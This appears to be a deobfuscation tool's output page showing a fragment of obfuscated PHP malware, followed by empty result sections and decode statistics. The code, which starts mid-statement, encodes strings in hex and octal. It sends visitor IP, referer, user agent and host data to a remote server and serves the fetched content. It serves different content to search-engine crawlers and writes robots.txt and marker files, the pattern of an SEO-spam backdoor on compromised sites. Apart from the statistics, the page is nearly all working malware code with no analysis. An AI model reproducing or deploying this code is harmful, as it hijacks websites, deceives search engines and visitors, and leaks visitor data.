q4vX0: $hPscl = $JHxmi . "\77\141\147\x65\x6e\164\x3d{$Ml8ec}\46\x72\x65\146\145\x72\75{$rabfD}\x26\x6c\x61\x6e\x67\x3d{$BaV4Z}\46\x69\x70\75{$jpYAZ}\x26\x64\x6f\x6d\75{$GHAsR}\x26\150\164\x74\x70\75{$nFDDA}\x26\165\x72\x69\x3d{$ApNku}\46\160\143\75{$FT2pw}\x26\162\x65\x77\162\151\164\x65\141\x62\x6c\x65\75{$L2Pun}\x26\163\x63\x72\151\160\x74\75{$AxYhq}"; goto N0nk9; UHygA: $jaNVB = hBT9E($hPscl); goto yvO5H; Wm3qG: exit; goto K3phz; OwI0A: exit; goto vBmop; e8PVK: $L2Pun = 0; goto e21L1; p0dDL: $rabfD = urlencode($_SERVER["\x48\x54\124\x50\137\122\105\x46\105\x52\x45\x52"]); goto RfSKx; B8TEJ: echo $jaNVB; goto A7yMu; BUOdU: function aTTuV() { goto MVcR1; MVcR1: if (!getenv("\110\x54\x54\120\x5f\103\114\x49\105\116\124\x5f\x49\x50")) { goto Xv2GR; } goto xSCMF; xSCMF: $jpYAZ = getenv("\110\124\x54\x50\x5f\x43\x4c\111\105\116\124\x5f\x49\120"); goto ZwtBz; eIEJY: goto nFWIo; goto VfpU9; NhpcB: $jpYAZ = $SnS7L[0]; goto s1vy_; ydb_m: $SnS7L = explode("\x2c", $jpYAZ); goto NhpcB; gJ6L1: nFWIo: goto nLRid; i_xl2: $jpYAZ = "\60\x2e\x30\x2e\x30\56\x30"; goto eIEJY; EHSwD: $jpYAZ = getenv("\x48\x54\x54\x50\137\x58\x5f\122\105\x41\x4c\137\111\120"); goto deim9; VfpU9: Al2VD: goto EHSwD; deim9: goto nFWIo; goto nQuHk; nQuHk: ZE4O5: goto AwD2i; nLRid: return $jpYAZ; goto DsXdK; Get6c: if (getenv("\122\x45\115\x4f\x54\x45\x5f\x41\104\x44\122")) { goto guwg2; } goto i_xl2; sgNm2: guwg2: goto TuV68; ZwtBz: Xv2GR: goto iEbDY; iEbDY: if (getenv("\x48\124\124\120\x5f\x58\137\122\105\x41\x4c\137\x49\x50")) { goto Al2VD; } goto Wo99u; Wo99u: if (getenv("\110\124\x54\x50\x5f\x58\137\x46\x4f\122\127\x41\122\104\105\x44\137\106\117\122")) { goto ZE4O5; } goto Get6c; AwD2i: $jpYAZ = getenv("\x48\124\124\120\x5f\130\137\x46\x4f\122\127\101\122\104\105\104\137\106\117\122"); goto ydb_m; TuV68: $jpYAZ = getenv("\x52\x45\x4d\x4f\x54\105\x5f\x41\x44\x44\122"); goto gJ6L1; s1vy_: goto nFWIo; goto sgNm2; DsXdK: } goto iUgk8; wrOGC: $L2Pun = 0; goto Aqdzc; yXZnm: if (strpos($NKxlb, "\151\156\144\145\170\56\160\150\x70") !== false) { goto BEe1z; } goto oQc3X; kaov4: $hPscl = $JHxmi . "\77\x61\147\x65\156\x74\x3d{$Ml8ec}\46\162\x65\146\145\x72\75{$rabfD}\46\154\141\156\147\75{$BaV4Z}\46\151\160\x3d{$jpYAZ}\x26\x64\157\x6d\x3d{$GHAsR}\x26\x68\x74\x74\x70\75{$nFDDA}\46\x75\162\151\75{$ApNku}\46\x70\x63\75{$FT2pw}\46\162\x65\167\x72\151\164\145\141\x62\x6c\x65\x3d{$L2Pun}\x26\163\x63\x72\151\x70\164\75{$AxYhq}"; goto uizVE; X6SnU: if (substr($jaNVB, 0, 5) == "\x3c\x3f\170\155\154") { goto afxgA; } goto TpYms; oT5p0: GUmmb: goto IJDJ8; C_HKr: KuWiI: goto rTeyq; CfFHD: g95zK: goto SKEWn; pRlKt: $jaNVB = HBT9e($hPscl); goto naRlg; xF1YJ: if (strpos($ApNku, "\x6a\x70\x32\60\62\x33") !== false) { goto VIjiU; } goto pDR7W; gEICl: gJKKQ: goto uQM10; y2H_t: if (preg_match("\57\x28{$P2ytJ}\51\x2f\x69", $_SERVER["\110\x54\x54\x50\137\x52\x45\106\x45\122\105\x52"])) { goto QZez3; } goto Jq7c5; bkZJR: goto kifTM; goto mV4Gl; VUgob: goNRv: goto VeNQY; wKTny: $Auyrg = 1; goto Je3aU; njyRG: header("\x43\157\156\164\x65\156\x74\55\124\171\x70\145\x3a\40\164\145\170\x74\57\170\155\154\x3b\40\x63\x68\x61\x72\x73\x65\x74\75\x75\x74\x66\x2d\70"); goto R1xIh; CJAFl: goto MOxfT; goto xq5xv; H8bN1: $Auyrg++; goto va9Qs; qVIAB: Rca0x: goto QVEbs; n5QqH: header("\x48\x54\x54\120\x2f\x31\56\x30\x20\x35\60\60\x20\111\x6e\x74\x65\162\156\141\154\40\x53\x65\x72\166\145\x72\40\105\162\x72\157\x72"); goto zk8fa; LOfoP: $jaNVB = hBt9E($hPscl); goto wKTny; rL3pj: $P2TiF = $nFDDA . "\x3a\x2f\x2f" . $_SERVER["\110\x54\124\x50\x5f\x48\x4f\x53\x54"] . "\x2f\x75\165\x75\x75\x78\x78\x78\170\157\157\x6f"; goto zGCh8; hmJ1w: sB1bg: goto Jfn_H; q8hbW: echo "\157\153"; goto OwI0A; B_9HY: header("\x48\124\x54\120\57\61\x2e\60\x20\x35\x30\x30\40\111\156\164\145\x72\156\141\x6c\x20\123\145\162\x76\x65\162\x20\105\162\162\157\x72"); goto lsseW; WphXk: if (empty($jaNVB)) { goto gJKKQ; } goto pJQgk; nRR5Q: $GHAsR = urlencode($_SERVER["\x48\124\124\x50\137\x48\117\x53\x54"]); goto xNudq; zk8fa: exit; goto NtsLG; HNtjM: $dTV10 = $mHRdJ[1]; goto IWAzw; tSTzg: $L2Pun = @file_get_contents("\165\170\x6f\x2e\x74\x78\164"); goto wlmWn; zEqq3: goto GUmmb; goto rB5vd; qK32M: goto qG3x2; goto EEYCr; pHHSi: if (empty($jaNVB)) { goto ZNC5s; } goto Z_ZZP; WrQwk: if (preg_match("\57\x28{$P2ytJ}\51\57\x69", $_SERVER["\110\124\124\x50\x5f\x55\123\105\122\137\101\107\105\x4e\x54"])) { goto goNRv; } goto y2H_t; VwiPz: exit; goto bkzvq; hx_xR: afxgA: goto qZiEe; TpYms: header("\x43\157\156\164\145\156\x74\x2d\124\x79\x70\145\x3a\40\x74\145\x78\x74\57\150\x74\x6d\x6c\x3b\x20\143\x68\x61\162\x73\145\164\75\x75\164\x66\55\70"); goto skr7P; IiRuG: goto RbrCk; goto mCI4K; rB5vd: MP8wx: goto kaov4; YyPj0: ZOEfp: goto B_9HY; mKP4_: exit; goto hmJ1w; skr7P: goto jknwn; goto hx_xR; Qaker: exit; goto rCQy3; QUbbA: goto Rca0x; goto VUgob; xNudq: $AxYhq = urlencode($_SERVER["\x53\x43\122\111\120\124\137\x4e\x41\x4d\x45"]); goto wiY1T; N0nk9: $jaNVB = hbT9E($hPscl); goto Ahw65; leK2_: @file_put_contents("\x75\170\x6f\56\164\x78\164", "\61"); goto PGryC; oQc3X: $NKxlb = $NKxlb . "\77"; goto IiRuG; QVEbs: goto DRrEW; goto WZKZf; uQM10: goto jg3wi; goto gJ2yj; VeNQY: $hPscl = $JHxmi . "\x3f\141\x67\145\x6e\164\75{$Ml8ec}\x26\162\x65\146\145\x72\x3d{$rabfD}\x26\x6c\141\x6e\147\x3d{$BaV4Z}\46\x69\160\x3d{$jpYAZ}\46\x64\x6f\x6d\x3d{$GHAsR}\46\150\x74\x74\x70\x3d{$nFDDA}\x26\165\x72\151\75{$ApNku}\46\160\x63\75{$FT2pw}\46\x72\x65\167\162\151\x74\x65\x61\142\154\x65\x3d{$L2Pun}\x26\163\x63\x72\151\160\164\x3d{$AxYhq}"; goto n3cNc; Nargg: $NKxlb = "\57"; goto k1lB6; xn22w: jknwn: goto ZVnmj; R1xIh: echo $jaNVB; goto Wm3qG; Jlyc7: $fMM6t = "{$nFDDA}\72\x2f\57" . $GHAsR . $NKxlb . "\x73\x69\164\x65\155\141\160\56\x78\155\154"; goto aN8nb; WZKZf: Z1p1I: goto q4vX0; pk022: yRkle: goto cxrLC; rTeyq: @file_put_contents("\162\157\x62\x6f\164\163\x2e\x74\x78\164", $C4nyL); goto Otk8Z; dpklN: error_reporting(0); goto BUOdU; mCI4K: BEe1z: goto GvpiK; IWAzw: J5jdj: goto gQTLm; PGryC: qG3x2: goto altgi; qhCUP: if (preg_match("\x40\x5e\x2f\x28\56\x2a\x3f\51\x2e\x78\x6d\x6c\x24\100\151", $ApNku)) { goto Z1p1I; } goto WrQwk; Vj0kY: kifTM: goto CJAFl; vvFAG: VIjiU: goto do1hr; ctZSU: MOxfT:
?>

Function Calls

None

Variables

None

Stats

MD5 a19d57f0fd31141aab853f7454dc7bae
Eval Count 0
Decode Time 82 ms